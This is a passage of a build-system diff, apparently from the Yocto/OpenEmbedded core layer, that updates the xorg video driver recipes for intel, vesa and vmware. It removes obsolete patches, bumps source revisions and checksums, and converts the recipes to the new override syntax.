- INTEL_VGA_DEVICE(0x191D, info) /* WKS GT2 */
-
-+#define INTEL_SKL_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1926, info) /* ULT GT3 */
-+
- #define INTEL_SKL_GT3_IDS(info) \
-+ INTEL_SKL_ULT_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x1923, info), /* ULT GT3 */ \
-- INTEL_VGA_DEVICE(0x1926, info), /* ULT GT3 */ \
- INTEL_VGA_DEVICE(0x1927, info), /* ULT GT3 */ \
- INTEL_VGA_DEVICE(0x192B, info), /* Halo GT3 */ \
- INTEL_VGA_DEVICE(0x192D, info) /* SRV GT3 */
-@@ -336,45 +392,91 @@
- INTEL_VGA_DEVICE(0x3184, info), \
- INTEL_VGA_DEVICE(0x3185, info)
-
--#define INTEL_KBL_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x5913, info), /* ULT GT1.5 */ \
-- INTEL_VGA_DEVICE(0x5915, info), /* ULX GT1.5 */ \
-+#define INTEL_KBL_ULT_GT1_IDS(info) \
- INTEL_VGA_DEVICE(0x5906, info), /* ULT GT1 */ \
-+ INTEL_VGA_DEVICE(0x5913, info) /* ULT GT1.5 */
-+
-+#define INTEL_KBL_ULX_GT1_IDS(info) \
- INTEL_VGA_DEVICE(0x590E, info), /* ULX GT1 */ \
-+ INTEL_VGA_DEVICE(0x5915, info) /* ULX GT1.5 */
-+
-+#define INTEL_KBL_GT1_IDS(info) \
-+ INTEL_KBL_ULT_GT1_IDS(info), \
-+ INTEL_KBL_ULX_GT1_IDS(info), \
- INTEL_VGA_DEVICE(0x5902, info), /* DT GT1 */ \
- INTEL_VGA_DEVICE(0x5908, info), /* Halo GT1 */ \
- INTEL_VGA_DEVICE(0x590B, info), /* Halo GT1 */ \
- INTEL_VGA_DEVICE(0x590A, info) /* SRV GT1 */
-
--#define INTEL_KBL_GT2_IDS(info) \
-+#define INTEL_KBL_ULT_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x5916, info), /* ULT GT2 */ \
-+ INTEL_VGA_DEVICE(0x5921, info) /* ULT GT2F */
-+
-+#define INTEL_KBL_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x591E, info) /* ULX GT2 */
-+
-+#define INTEL_KBL_GT2_IDS(info) \
-+ INTEL_KBL_ULT_GT2_IDS(info), \
-+ INTEL_KBL_ULX_GT2_IDS(info), \
- INTEL_VGA_DEVICE(0x5917, info), /* Mobile GT2 */ \
-- INTEL_VGA_DEVICE(0x5921, info), /* ULT GT2F */ \
-- INTEL_VGA_DEVICE(0x591E, info), /* ULX GT2 */ \
- INTEL_VGA_DEVICE(0x5912, info), /* DT GT2 */ \
- INTEL_VGA_DEVICE(0x591B, info), /* Halo GT2 */ \
- INTEL_VGA_DEVICE(0x591A, info), /* SRV GT2 */ \
- INTEL_VGA_DEVICE(0x591D, info) /* WKS GT2 */
-
-+#define INTEL_KBL_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x5926, info) /* ULT GT3 */
-+
- #define INTEL_KBL_GT3_IDS(info) \
-+ INTEL_KBL_ULT_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x5923, info), /* ULT GT3 */ \
-- INTEL_VGA_DEVICE(0x5926, info), /* ULT GT3 */ \
- INTEL_VGA_DEVICE(0x5927, info) /* ULT GT3 */
-
- #define INTEL_KBL_GT4_IDS(info) \
- INTEL_VGA_DEVICE(0x593B, info) /* Halo GT4 */
-
- /* AML/KBL Y GT2 */
--#define INTEL_AML_GT2_IDS(info) \
-+#define INTEL_AML_KBL_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x591C, info), /* ULX GT2 */ \
- INTEL_VGA_DEVICE(0x87C0, info) /* ULX GT2 */
-
-+/* AML/CFL Y GT2 */
-+#define INTEL_AML_CFL_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x87CA, info)
-+
-+/* CML GT1 */
-+#define INTEL_CML_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9BA5, info), \
-+ INTEL_VGA_DEVICE(0x9BA8, info), \
-+ INTEL_VGA_DEVICE(0x9BA4, info), \
-+ INTEL_VGA_DEVICE(0x9BA2, info)
-+
-+#define INTEL_CML_U_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9B21, info), \
-+ INTEL_VGA_DEVICE(0x9BAA, info), \
-+ INTEL_VGA_DEVICE(0x9BAC, info)
-+
-+/* CML GT2 */
-+#define INTEL_CML_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9BC5, info), \
-+ INTEL_VGA_DEVICE(0x9BC8, info), \
-+ INTEL_VGA_DEVICE(0x9BC4, info), \
-+ INTEL_VGA_DEVICE(0x9BC2, info), \
-+ INTEL_VGA_DEVICE(0x9BC6, info), \
-+ INTEL_VGA_DEVICE(0x9BE6, info), \
-+ INTEL_VGA_DEVICE(0x9BF6, info)
-+
-+#define INTEL_CML_U_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9B41, info), \
-+ INTEL_VGA_DEVICE(0x9BCA, info), \
-+ INTEL_VGA_DEVICE(0x9BCC, info)
-+
- #define INTEL_KBL_IDS(info) \
- INTEL_KBL_GT1_IDS(info), \
- INTEL_KBL_GT2_IDS(info), \
- INTEL_KBL_GT3_IDS(info), \
- INTEL_KBL_GT4_IDS(info), \
-- INTEL_AML_GT2_IDS(info)
-+ INTEL_AML_KBL_GT2_IDS(info)
-
- /* CFL S */
- #define INTEL_CFL_S_GT1_IDS(info) \
-@@ -390,6 +492,9 @@
- INTEL_VGA_DEVICE(0x3E9A, info) /* SRV GT2 */
-
- /* CFL H */
-+#define INTEL_CFL_H_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x3E9C, info)
-+
- #define INTEL_CFL_H_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x3E9B, info), /* Halo GT2 */ \
- INTEL_VGA_DEVICE(0x3E94, info) /* Halo GT2 */
-@@ -407,30 +512,43 @@
-
- /* WHL/CFL U GT1 */
- #define INTEL_WHL_U_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x3EA1, info)
-+ INTEL_VGA_DEVICE(0x3EA1, info), \
-+ INTEL_VGA_DEVICE(0x3EA4, info)
-
- /* WHL/CFL U GT2 */
- #define INTEL_WHL_U_GT2_IDS(info) \
-- INTEL_VGA_DEVICE(0x3EA0, info)
-+ INTEL_VGA_DEVICE(0x3EA0, info), \
-+ INTEL_VGA_DEVICE(0x3EA3, info)
-
- /* WHL/CFL U GT3 */
- #define INTEL_WHL_U_GT3_IDS(info) \
-- INTEL_VGA_DEVICE(0x3EA2, info), \
-- INTEL_VGA_DEVICE(0x3EA3, info), \
-- INTEL_VGA_DEVICE(0x3EA4, info)
-+ INTEL_VGA_DEVICE(0x3EA2, info)
-
- #define INTEL_CFL_IDS(info) \
- INTEL_CFL_S_GT1_IDS(info), \
- INTEL_CFL_S_GT2_IDS(info), \
-+ INTEL_CFL_H_GT1_IDS(info), \
- INTEL_CFL_H_GT2_IDS(info), \
- INTEL_CFL_U_GT2_IDS(info), \
- INTEL_CFL_U_GT3_IDS(info), \
- INTEL_WHL_U_GT1_IDS(info), \
- INTEL_WHL_U_GT2_IDS(info), \
-- INTEL_WHL_U_GT3_IDS(info)
-+ INTEL_WHL_U_GT3_IDS(info), \
-+ INTEL_AML_CFL_GT2_IDS(info), \
-+ INTEL_CML_GT1_IDS(info), \
-+ INTEL_CML_GT2_IDS(info), \
-+ INTEL_CML_U_GT1_IDS(info), \
-+ INTEL_CML_U_GT2_IDS(info)
-
- /* CNL */
-+#define INTEL_CNL_PORT_F_IDS(info) \
-+ INTEL_VGA_DEVICE(0x5A54, info), \
-+ INTEL_VGA_DEVICE(0x5A5C, info), \
-+ INTEL_VGA_DEVICE(0x5A44, info), \
-+ INTEL_VGA_DEVICE(0x5A4C, info)
-+
- #define INTEL_CNL_IDS(info) \
-+ INTEL_CNL_PORT_F_IDS(info), \
- INTEL_VGA_DEVICE(0x5A51, info), \
- INTEL_VGA_DEVICE(0x5A59, info), \
- INTEL_VGA_DEVICE(0x5A41, info), \
-@@ -440,22 +558,47 @@
- INTEL_VGA_DEVICE(0x5A42, info), \
- INTEL_VGA_DEVICE(0x5A4A, info), \
- INTEL_VGA_DEVICE(0x5A50, info), \
-- INTEL_VGA_DEVICE(0x5A40, info), \
-- INTEL_VGA_DEVICE(0x5A54, info), \
-- INTEL_VGA_DEVICE(0x5A5C, info), \
-- INTEL_VGA_DEVICE(0x5A44, info), \
-- INTEL_VGA_DEVICE(0x5A4C, info)
-+ INTEL_VGA_DEVICE(0x5A40, info)
-
- /* ICL */
--#define INTEL_ICL_11_IDS(info) \
-+#define INTEL_ICL_PORT_F_IDS(info) \
- INTEL_VGA_DEVICE(0x8A50, info), \
-- INTEL_VGA_DEVICE(0x8A51, info), \
- INTEL_VGA_DEVICE(0x8A5C, info), \
-- INTEL_VGA_DEVICE(0x8A5D, info), \
-+ INTEL_VGA_DEVICE(0x8A59, info), \
-+ INTEL_VGA_DEVICE(0x8A58, info), \
- INTEL_VGA_DEVICE(0x8A52, info), \
- INTEL_VGA_DEVICE(0x8A5A, info), \
- INTEL_VGA_DEVICE(0x8A5B, info), \
-+ INTEL_VGA_DEVICE(0x8A57, info), \
-+ INTEL_VGA_DEVICE(0x8A56, info), \
- INTEL_VGA_DEVICE(0x8A71, info), \
-- INTEL_VGA_DEVICE(0x8A70, info)
-+ INTEL_VGA_DEVICE(0x8A70, info), \
-+ INTEL_VGA_DEVICE(0x8A53, info), \
-+ INTEL_VGA_DEVICE(0x8A54, info)
-+
-+#define INTEL_ICL_11_IDS(info) \
-+ INTEL_ICL_PORT_F_IDS(info), \
-+ INTEL_VGA_DEVICE(0x8A51, info), \
-+ INTEL_VGA_DEVICE(0x8A5D, info)
-+
-+/* EHL/JSL */
-+#define INTEL_EHL_IDS(info) \
-+ INTEL_VGA_DEVICE(0x4500, info), \
-+ INTEL_VGA_DEVICE(0x4571, info), \
-+ INTEL_VGA_DEVICE(0x4551, info), \
-+ INTEL_VGA_DEVICE(0x4541, info), \
-+ INTEL_VGA_DEVICE(0x4E71, info), \
-+ INTEL_VGA_DEVICE(0x4E61, info), \
-+ INTEL_VGA_DEVICE(0x4E51, info)
-+
-+/* TGL */
-+#define INTEL_TGL_12_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9A49, info), \
-+ INTEL_VGA_DEVICE(0x9A40, info), \
-+ INTEL_VGA_DEVICE(0x9A59, info), \
-+ INTEL_VGA_DEVICE(0x9A60, info), \
-+ INTEL_VGA_DEVICE(0x9A68, info), \
-+ INTEL_VGA_DEVICE(0x9A70, info), \
-+ INTEL_VGA_DEVICE(0x9A78, info)
-
- #endif /* _I915_PCIIDS_H */
-diff --git a/src/intel_module.c b/src/intel_module.c
-index a71c2e40b774..e0b94c190254 100644
---- a/src/intel_module.c
-+++ b/src/intel_module.c
-@@ -357,7 +357,7 @@ static const struct pci_id_match intel_device_match[] = {
- INTEL_I945GM_IDS(&intel_i945_info),
-
- INTEL_G33_IDS(&intel_g33_info),
-- INTEL_PINEVIEW_IDS(&intel_g33_info),
-+ INTEL_PINEVIEW_G_IDS(&intel_g33_info),
-
- INTEL_I965G_IDS(&intel_i965_info),
- INTEL_I965GM_IDS(&intel_i965_info),
-diff --git a/test/dri3-test.c b/test/dri3-test.c
-index 78e105a8b64a..5265a30cea1b 100644
---- a/test/dri3-test.c
-+++ b/test/dri3-test.c
-@@ -76,7 +76,7 @@ static const struct pci_id_match ids[] = {
- INTEL_I945GM_IDS(031),
-
- INTEL_G33_IDS(033),
-- INTEL_PINEVIEW_IDS(033),
-+ INTEL_PINEVIEW_G_IDS(033),
-
- INTEL_I965G_IDS(040),
- INTEL_I965GM_IDS(040),
---
-2.17.1
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch b/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch
deleted file mode 100644
index 765d9ec090..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From c2d730cf79eb3e4bea41f5ed8a8a21092ced8b03 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Hanno=20B=C3=B6ck?= <hanno@gentoo.org>
-Date: Sun, 2 Feb 2020 14:18:39 +0100
-Subject: [PATCH] i810: Avoid duplicate definition of I810PatternROP
-
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/driver/xf86-video-intel/-/commit/652d93cbbdc159c0883f1b626ea48e28bac63ae3]
-Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/legacy/i810/i810.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/legacy/i810/i810.h b/src/legacy/i810/i810.h
-index 347188c9..19be049c 100644
---- a/src/legacy/i810/i810.h
-+++ b/src/legacy/i810/i810.h
-@@ -322,6 +322,6 @@ extern void I810InitMC(ScreenPtr pScreen);
- extern const OptionInfoRec *I810AvailableOptions(int chipid, int busid);
-
- extern const int I810CopyROP[16];
--const int I810PatternROP[16];
-+extern const int I810PatternROP[16];
-
- #endif /* _I810_H_ */
---
-2.28.0
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb b/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
index 161371b118..2e526bd799 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
@@ -9,34 +9,29 @@ Infrastructure (DRI)."
LIC_FILES_CHKSUM = "file://COPYING;md5=8730ad58d11c7bbad9a7066d69f7808e"
-SRCREV = "f66d39544bb8339130c96d282a80f87ca1606caf"
-PV = "2.99.917+git${SRCPV}"
+SRCREV = "31486f40f8e8f8923ca0799aea84b58799754564"
+PV = "2.99.917+git"
S = "${WORKDIR}/git"
-SRC_URI = "git://anongit.freedesktop.org/xorg/driver/xf86-video-intel \
- file://0001-Sync-i915_pciids-upto-8717c6b7414f.patch \
- file://0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch \
-"
+SRC_URI = "git://anongit.freedesktop.org/git/xorg/driver/xf86-video-intel;protocol=https;branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-DEPENDS += "virtual/libx11 drm libpciaccess pixman"
+DEPENDS += "virtual/libx11 drm libpciaccess pixman cairo libpng libxcb libxcomposite libxdamage libxrender libxrandr libxext libxfixes"
-PACKAGECONFIG ??= "sna xvmc uxa udev ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'dri dri2 dri3', '', d)}"
+PACKAGECONFIG ??= "sna xvmc uxa udev ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'dri2 dri3', '', d)}"
-PACKAGECONFIG[dri] = "--enable-dri,--disable-dri"
-PACKAGECONFIG[dri1] = "--enable-dri1,--disable-dri1"
PACKAGECONFIG[dri2] = "--enable-dri2,--disable-dri2"
PACKAGECONFIG[dri3] = "--enable-dri3,--disable-dri3"
PACKAGECONFIG[sna] = "--enable-sna,--disable-sna"
PACKAGECONFIG[uxa] = "--enable-uxa,--disable-uxa"
PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
PACKAGECONFIG[xvmc] = "--enable-xvmc,--disable-xvmc,libxvmc xcb-util"
-PACKAGECONFIG[tools] = "--enable-tools,--disable-tools,libxinerama libxrandr libxdamage libxfixes libxcursor libxtst libxrender libxscrnsaver libxext libx11 pixman libxcb libxshmfence"
+PACKAGECONFIG[tools] = "--enable-tools,--disable-tools,libxinerama libxcursor libxtst libxscrnsaver libxshmfence"
# --enable-kms-only option is required by ROOTLESS_X
EXTRA_OECONF += '${@oe.utils.conditional( "ROOTLESS_X", "1", " --enable-kms-only", "", d )}'
COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-FILES_${PN} += "${datadir}/polkit-1"
+FILES:${PN} += "${datadir}/polkit-1"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch b/meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch
deleted file mode 100644
index 9e01770667..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 2645e0aa9c17c2c966a0533e52ad00510311483e Mon Sep 17 00:00:00 2001
-From: Adam Jackson <ajax@redhat.com>
-Date: Wed, 29 Aug 2018 11:04:23 -0400
-Subject: [PATCH] Refuse to run on UEFI machines
-
-No possible good can come of this.
-
-v2: Check for .../efi-framebuffer.0 ("is there an EFI framebuffer")
-instead of /sys/firmware/efi ("is this an EFI machine"). Suggested by
-Peter Jones.
-
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/driver/xf86-video-vesa]
-
-Reviewed-by: Peter Jones <pjones@redhat.com>
-Signed-off-by: Adam Jackson <ajax@redhat.com>
-Signed-off-by: Ovidiu Panait <ovidiu.panait@windriver.com>
----
- src/vesa.c | 11 +++++++++--
- 1 file changed, 9 insertions(+), 2 deletions(-)
-
-diff --git a/src/vesa.c b/src/vesa.c
-index 9b65b9b..af750e2 100644
---- a/src/vesa.c
-+++ b/src/vesa.c
-@@ -43,7 +43,7 @@
- #endif
-
- #include <string.h>
--
-+#include <unistd.h>
- #include "vesa.h"
-
- /* All drivers initialising the SW cursor need this */
-@@ -450,7 +450,14 @@ VESAPciProbe(DriverPtr drv, int entity_num, struct pci_device *dev,
- intptr_t match_data)
- {
- ScrnInfoPtr pScrn;
--
-+
-+#ifdef __linux__
-+ if (access("/sys/devices/platform/efi-framebuffer.0", F_OK) == 0) {
-+ ErrorF("vesa: Refusing to run on UEFI\n");
-+ return FALSE;
-+ }
-+#endif
-+
- pScrn = xf86ConfigPciEntity(NULL, 0, entity_num, NULL,
- NULL, NULL, NULL, NULL, NULL);
- if (pScrn != NULL) {
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb
deleted file mode 100644
index f6aa54456c..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require xorg-driver-video.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a1f0610ebdc6f314a9fa5102a8c5c1b0"
-
-SUMMARY = "X.Org X server -- Generic Vesa video driver"
-
-DESCRIPTION = "vesa is an Xorg driver for generic VESA video cards. It \
-can drive most VESA-compatible video cards, but only makes use of the \
-basic standard VESA core that is common to these cards. The driver \
-supports depths 8, 15 16 and 24."
-
-DEPENDS += "virtual/libx11 xorgproto libpciaccess"
-
-COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-
-RRECOMMENDS_${PN} += "xserver-xorg-module-libint10"
-
-SRC_URI[md5sum] = "8134201beaf6f77150c7809c3cc802e6"
-SRC_URI[sha256sum] = "bf443c94d7bf6cd4e248f8a3147f4647be04dc4c80250d9405006263bbdee38c"
-
-SRC_URI += " \
- file://0001-Refuse-to-run-on-UEFI-machines.patch \
- "
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.6.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.6.0.bb
new file mode 100644
index 0000000000..33c2035f6b
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.6.0.bb
@@ -0,0 +1,20 @@
+require xorg-driver-video.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a1f0610ebdc6f314a9fa5102a8c5c1b0"
+
+SUMMARY = "X.Org X server -- Generic Vesa video driver"
+
+DESCRIPTION = "vesa is an Xorg driver for generic VESA video cards. It \
+can drive most VESA-compatible video cards, but only makes use of the \
+basic standard VESA core that is common to these cards. The driver \
+supports depths 8, 15 16 and 24."
+
+DEPENDS += "virtual/libx11 xorgproto libpciaccess"
+
+COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
+
+RRECOMMENDS:${PN} += "xserver-xorg-module-libint10"
+
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
+SRC_URI[sha256sum] = "10082771b1a8f659c60b3d9b70456a4b59948a75b3cade2dfa33b8b05e549bb1"
+
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch b/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
deleted file mode 100644
index 5bda720ce5..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From da6612659a279bcb02f70622b53a3894fbc11052 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 9 Dec 2016 14:35:45 +0200
-Subject: [PATCH] Add option for vmwgfx
-
-Upstream-Status:Submitted
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 51 +++++++++++++++++++++------------------------------
- 1 file changed, 21 insertions(+), 30 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 9f259ce..f3fec57 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -64,6 +64,13 @@ AC_ARG_ENABLE(vmwarectrl-client,
- [VMWARECTRL=$enableval], [VMWARECTRL=no])
- AM_CONDITIONAL(BUILD_VMWARECTRL, [test "x$VMWARECTRL" = xyes])
-
-+# Define a configure option to build the vmwgfx driver
-+AC_ARG_ENABLE(vmwgfx,
-+ AS_HELP_STRING([--disable-vmwgfx],
-+ [Disable vmwgfx driver (KMS/3D) (default: enabled)]),
-+ [VMWGFX="$enableval"], [VMWGFX="yes"])
-+AM_CONDITIONAL(BUILD_VMWGFX, test "x$VMWGFX" = xyes)
-+
- # Store the list of server defined optional extensions in REQUIRED_MODULES
- XORG_DRIVER_CHECK_EXT(RANDR, randrproto)
- XORG_DRIVER_CHECK_EXT(RENDER, renderproto)
-@@ -85,11 +92,6 @@ PKG_CHECK_EXISTS([xorg-server >= 1.4.99],
- [AC_DEFINE([HAVE_XORG_SERVER_1_5_0], 1,
- [Has version 1.5.0 or greater of the Xserver])])
-
--PKG_CHECK_EXISTS([xorg-server >= 1.7.0],
-- [AC_DEFINE([HAVE_XORG_SERVER_1_7_0], 1,
-- [Has version 1.7.0 or greater of the Xserver])
-- BUILD_VMWGFX=yes],[BUILD_VMWGFX=no])
--
- PKG_CHECK_EXISTS([xorg-server >= 1.12.0],
- [AC_DEFINE([HAVE_XORG_SERVER_1_12_0], 1,
- [Has version 1.12.0 or greater of the Xserver])])
-@@ -114,34 +116,22 @@ AM_CONDITIONAL(XSERVER_LIBPCIACCESS, test "x$XSERVER_LIBPCIACCESS" = xyes)
-
- AC_SUBST([moduledir])
-
--if test x$BUILD_VMWGFX = xyes; then
-- PKG_CHECK_MODULES([LIBDRM], [libdrm],[],[BUILD_VMWGFX=no])
--fi
--if test x$BUILD_VMWGFX = xyes; then
--#
--# Early versions of mesa 10 forgot to bump the XA major version number in
--# the xa_tracker.h header
--#
-- PKG_CHECK_MODULES([XATRACKER], [xatracker >= 0.4.0],
-- [PKG_CHECK_EXISTS([xatracker = 2.0.0],
-- [AC_DEFINE([HAVE_XA_2], 1,
-- [Has version 2 of XA])])],
-- [BUILD_VMWGFX=no])
--#
--# Check for prime.
--#
-+AC_MSG_CHECKING([whether to build Kernel Mode Setting and 3D])
-+if test x$VMWGFX = xyes; then
-+ AC_MSG_RESULT([yes])
-+ PKG_CHECK_MODULES([LIBDRM], [libdrm])
-+ # Check for prime.
- PKG_CHECK_EXISTS([libdrm >= 2.4.38],
- [AC_DEFINE([HAVE_LIBDRM_2_4_38], 1,
- [Has version 2.4.38 or greater of libdrm])])
--fi
-
--DRIVER_NAME=vmware
--AC_SUBST([DRIVER_NAME])
--
--AC_MSG_CHECKING([whether to build Kernel Mode Setting and 3D])
--if test x$BUILD_VMWGFX = xyes; then
-- AC_MSG_RESULT([yes])
-- AC_DEFINE([BUILD_VMWGFX], 1, [Building the vmwgfx driver path])
-+ # Early versions of mesa 10 forgot to bump the XA major version number
-+ # in the xa_tracker.h header
-+ PKG_CHECK_MODULES([XATRACKER], [xatracker >= 0.4.0],
-+ [PKG_CHECK_EXISTS([xatracker = 2.0.0],
-+ [AC_DEFINE([HAVE_XA_2], 1,
-+ [Has version 2 of XA])])])
-+ AC_DEFINE([BUILD_VMWGFX], 1, [Building the vmwgfx driver path])
- libudev_check=yes
- AC_ARG_WITH([libudev],
- [AS_HELP_STRING([--without-libudev],
-@@ -158,7 +148,8 @@ else
- AC_MSG_RESULT([no])
- fi
-
--AM_CONDITIONAL(BUILD_VMWGFX, test "x$BUILD_VMWGFX" = xyes)
-+DRIVER_NAME=vmware
-+AC_SUBST([DRIVER_NAME])
-
- AC_CONFIG_FILES([
- Makefile
---
-2.1.4
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.3.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.3.0.bb
deleted file mode 100644
index 41612b7f07..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.3.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require xorg-driver-video.inc
-
-SUMMARY = "X.Org X server -- VMware SVGA display driver"
-
-DESCRIPTION = "vmware is an Xorg driver for VMware virtual video cards."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5fcd7d437a959a15fbee8707747c6b53"
-
-DEPENDS += "virtual/libx11 xorgproto libpciaccess"
-
-SRC_URI += "file://0002-add-option-for-vmwgfx.patch"
-
-SRC_URI[md5sum] = "08d66d062055080ff699ab4869726ea2"
-SRC_URI[sha256sum] = "47971924659e51666a757269ad941a059ef5afe7a47b5101c174a6022ac4066c"
-
-COMPATIBLE_HOST = '(i.86.*-linux|x86_64.*-linux)'
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[vmwgfx] = "--enable-vmwgfx, --disable-vmwgfx, libdrm virtual/mesa"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.4.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.4.0.bb
new file mode 100644
index 0000000000..d7ba2b9e86
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.4.0.bb
@@ -0,0 +1,14 @@
+require xorg-driver-video.inc
+
+SUMMARY = "X.Org X server -- VMware SVGA display driver"
+
+DESCRIPTION = "vmware is an Xorg driver for VMware virtual video cards."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5fcd7d437a959a15fbee8707747c6b53"
+
+DEPENDS += "virtual/libx11 xorgproto libpciaccess"
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
+
+SRC_URI[sha256sum] = "aed31ee5ed5ecc6e2226705383e7ad06f7602c1376a295305f376b17af3eb81a"
+
+COMPATIBLE_HOST = '(i.86.*-linux|x86_64.*-linux)'
diff --git a/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc b/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
index 493b90a298..c61cdd05b3 100644
--- a/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
+++ b/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
@@ -2,25 +2,27 @@ SUMMARY = "X driver"
HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11/drivers"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
PE = "2"
DEPENDS = "virtual/xserver xorgproto util-macros"
-SRC_URI = "${XORG_MIRROR}/individual/driver/${BPN}-${PV}.tar.bz2"
+XORG_DRIVER_COMPRESSOR ?= ".tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/driver/${BPN}-${PV}${XORG_DRIVER_COMPRESSOR}"
-FILES_${PN} += " ${libdir}/xorg/modules/drivers/*.so"
+FILES:${PN} += " ${libdir}/xorg/modules/drivers/*.so"
+inherit pkgconfig features_check
XORGBUILDCLASS ??= "autotools"
-inherit ${XORGBUILDCLASS} pkgconfig features_check
+inherit_defer ${XORGBUILDCLASS}
# depends on virtual/xserver
REQUIRED_DISTRO_FEATURES = "x11"
# FIXME: We don't want to include the libtool archives (*.la) from modules
# directory, as they serve no useful purpose. Upstream should fix Makefile.am
-do_install_append() {
+do_install:append() {
find ${D}${libdir}/xorg/modules -regex ".*\.la$" | xargs rm -f --
}
@@ -38,6 +40,6 @@ def _add_xorg_abi_depends(d, name):
abi = "%sxorg-abi-%s-%s" % (mlprefix, name, output.split(".")[0])
pn = d.getVar("PN")
- d.appendVar('RDEPENDS_' + pn, ' ' + abi)
+ d.appendVar('RDEPENDS:' + pn, ' ' + abi)
SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
diff --git a/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc b/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
index 57912e70db..934c3d75c1 100644
--- a/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
+++ b/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
@@ -7,6 +7,6 @@ python add_xorg_abi_depends() {
}
PACKAGEFUNCS =+ "add_xorg_abi_depends"
